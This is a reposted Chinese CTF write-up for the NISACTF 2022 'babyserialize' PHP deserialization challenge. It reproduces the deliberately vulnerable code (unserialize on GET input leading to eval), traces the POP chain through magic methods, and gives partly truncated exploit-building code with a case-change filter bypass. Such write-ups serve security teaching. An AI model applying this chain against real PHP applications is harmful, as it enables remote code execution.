返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >关于[NISACTF 2022]babyserialize详解
  • 635
分享到

关于[NISACTF 2022]babyserialize详解

php开发语言网络安全 2023-09-12 14:09:08 635人浏览 安东尼
摘要

前言 先甩出PHP的魔术方法。 __invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法__construst():具有构造函数的类在创建新对象的时候,回调此方法__destruct

前言

先甩出PHP的魔术方法。

__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法__construst():具有构造函数的类在创建新对象的时候,回调此方法__destruct():反序列化的时候,或者对象销毁的时候调用__wakeup():反序列化的时候调用__sleep():序列化的时候调用__toString():把类当成字符串的时候调用,一般在echo处生效__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__get():读取不可访问或者不存在的属性的时候,进行赋值__call():在对象中调用一个不可访问的方法的时候,会被执行

题解

对于反序列化pop链进行分析的时候,我喜欢去进行反推处理,我感觉比正推容易很多,这里也是推荐给大家一个方法去进行反推。

代码

fun=="show_me_flag"){            hint();        }    }    function __call($from,$val){        $this->fun=$val[0];    }    public function __toString()    {        echo $this->fun;        return " ";    }    public function __invoke()    {        checkcheck($this->txw4ever);        @eval($this->txw4ever);    }}class TianXiWei{    public $ext;    public $x;    public function __wakeup()    {        $this->ext->nisa($this->x);    }}class Ilovetxw{    public $huang;    public $su;    public function __call($fun1,$arg){        $this->huang->fun=$arg[0];    }    public function __toString(){        $bb = $this->su;        return $bb();    }}class four{    public $a="TXW4EVER";    private $fun='abc';    public function __set($name, $value)    {        $this->$name=$value;        if ($this->fun = "sixsixsix"){            strtolower($this->a);        }    }}if(isset($_GET['ser'])){    @unserialize($_GET['ser']);}else{    highlight_file(__FILE__);}

解题思路

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。

__invoke魔术方法是对象被当做函数进行调用的时候所触发

这里就反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

__ToString方法,是对象被当做字符串的时候进行自动调用

(3)__toString反推到__set

在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
在这里插入图片描述这里就可以存在把对象当做字符串进行操作。

(4)从__set反推到__call

__set:对不存在或者不可访问的变量进行赋值就自动调用__call:对不存在的方法或者不可访问的方法进行调用就自动调用

这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

思路总结图解

在这里插入图片描述

构造exp

ext=new ilovetxw;$a->ext->huang=new four;$a->ext->huang->a=new ilovetxw;$a->ext->huang->a->su=new nisa;echo urlencode(serialize($a));

发现something wrong…
这里进行常规大小写转换,就可以绕过

ext=new ilovetxw;$a->ext->huang=new four;$a->ext->huang->a=new ilovetxw;$a->ext->huang->a->su=new nisa;echo urlencode(serialize($a));

就可以读到flag

总结

这道题还是对pop链的构造的一个深入了解,考了一个eval代码执行的小trick技巧,也是比较简单,总体来说,不太复杂,较为基础。

来源地址:https://blog.csdn.net/weixin_57222016/article/details/124620719

--结束END--

本文标题: 关于[NISACTF 2022]babyserialize详解

本文链接: https://lsjlt.com/news/404584.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 关于[NISACTF 2022]babyserialize详解
    前言 先甩出PHP的魔术方法。 __invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法__construst():具有构造函数的类在创建新对象的时候,回调此方法__destruct...
    99+
    2023-09-12
    php 开发语言 网络安全
  • 关于python类SortedList详解
    目录SortedList 有序序列方法1.添加值2.移除值3.查找4.迭代值5. 其他SortedList 有序序列 class sortedcontainers.SortedL...
    99+
    2024-04-02
  • Java关于MyBatis缓存详解
    目录什么是 MyBatis 缓存MyBatis 缓存分类1.⼀级缓存:SqlSession级别,默认开启,并且不能关闭.(默认开启)2.二级缓存:Mapper 级别,默...
    99+
    2024-04-02
  • 关于docker registry使用详解
    docker registry 是docker image的仓库,运行pull,push,search命令时,这些命令是通过docker daemon与docker registry...
    99+
    2024-04-02
  • 关于Java的Character类详解
    目录一、什么是Java Character 类?二、Character类有哪些常用的静态方法?1、将一个字符分别转换为大写字母和小写字母2、如何判断一个字符是否是数字?3、如何将一个...
    99+
    2023-05-20
    Java Java Character类
  • 关于Java中的 JSP 详解
    目录1、JSP的特点2、JSP的优势3、JSP的缺点4、JSP的用途前言: JSP 代表 Java 服务器页面。它是一种在应用服务器端使用的编程工具。JSP 基本上用于支持平台 – ...
    99+
    2024-04-02
  • 关于java方法区详解
    目录方法区图例(方法区中都保存什么)类型信息类型的常量池 (即运行时常量池)字段信息方法信息类变量(即static变量)对类加载器的引用对Class类的引用方法表JVM如何使用方法区...
    99+
    2024-04-02
  • 2022最新vmstate 命令详解
    目录1。 使用vmstat2。实战3。 问题处理中,如何运用?vmstat 是一个查看虚拟内存(Virtual Memory)使用状况的工具,但是怎样通过 vmstat 来发现系统中的瓶颈呢? 1。 使用vmstat 使...
    99+
    2022-06-20
    vmstate 命令 linux vmstate 命令
  • Nodejs关于gzip/deflate压缩详解
    0x01.关于 写http时候,在接收http请求时候,出现乱码,后来发现是gzip没有解压。 关于gzip/deflate压缩,有放入管道压缩,和非管道压缩方法。 0x02.管道压缩 ...
    99+
    2022-06-04
    详解 Nodejs gzip
  • 详解SpringBoot中关于%2e的Trick
    分享一个SpringBoot中关于%2e的小Trick。先说结论,当SpringBoot版本在小于等于2.3.0.RELEASE的情况下, alwaysUseFullPath 为默认...
    99+
    2024-04-02
  • 关于C++中二分法详解
    目录一、整数二分1.整数二分模板2.求解二分问题的思路3.练习二、浮点数二分1.浮点数二分模板2.练习三、总结一、整数二分 单调性与二分的关系:有单调性一定可以二分,用二分不一定是单...
    99+
    2024-04-02
  • C# 关于LoadLibrary的疑问详解
    关于 LoadLibrary 的疑问 Win32 API 中 LoadLibrary 函数的功能是加载某个库文件(通常是 dll 文件),然后返回 HMODULE 句柄,可以使用两个...
    99+
    2024-04-02
  • 关于elasticsearch的match_phrase_prefix查询详解
    目录match_phrasematch_phrase_prefix需要注意的点总结match_phrase match_phrase_prefix可以认为是match_phrase的...
    99+
    2023-03-21
    关于elasticsearch match_phrase_prefix match_phrase_prefix查询 关于elasticsearc
  • 关于MySql的kill命令详解
    目录mysql的kill命令一、收到 kill 以后,线程做什么?二、另外两个关于客户端的误解1、如果库里面的表特别多,连接就会很慢。2、加–quick(或者简写为 -q) 参数,也可以跳过这个阶段三、总结M...
    99+
    2023-05-16
    MySql 命令 MySql kill命令
  • 关于Python卷积函数详解
    目录卷积函数对比测试卷积应用卷积函数 python提供了多种卷积方案,相比之下,定义在ndimage中的卷积函数,在功能上比numpy和signal中的卷积要稍微复杂一些,这点仅从输...
    99+
    2023-05-16
    Python卷积函数 Python卷积 Python关于卷积
  • 关于MySQL的ORDERBY排序详解
    目录前言ORDER BY 语法实践出真知实践准备静态排序动态排序总结前言 工作中常常会使用ORDER BY进行排序,了解ORDER BY多种排序方式是非常有必要的。 ORDER BY...
    99+
    2023-05-19
    MySQL 排序 MySQL ORDER BY
  • 关于Python中的闭包详解
    目录1、闭包的概念2、实现一个闭包3、在闭包中外函数把临时变量绑定给内函数4、闭包中内函数修改外函数局部变量5、注意:6、练习:总结1、闭包的概念 请大家跟我理解一下,如果在一个函数...
    99+
    2024-04-02
  • 关于protected修饰符详解-源于Cloneable接口
    目录今天在做对象拷贝的时候发现一个问题接下来按照我们的思路写代码实现为什么应用了Cloneable接口的类通常还必须重写一个public的clone()方法总结Cloneable接口...
    99+
    2024-04-02
  • Android中关于Notification及NotificationManger的详解
    Android状态栏提醒 在Android中提醒功能也可以用AlertDialog,但是我们要慎重的使用,因为当使用AlertDialog的时候,用户正在进行的操作将会被打断,...
    99+
    2022-06-06
    notification Android
  • 关于C语言qsort函数详解
    目录C语言qsort函数详解一.qsort函数是什么 二.使用qsort排序-以升序为例1.整形数组排序2.字符数组排序3.字符指针数组排序4.结构体数组排序5.浮点型数组...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作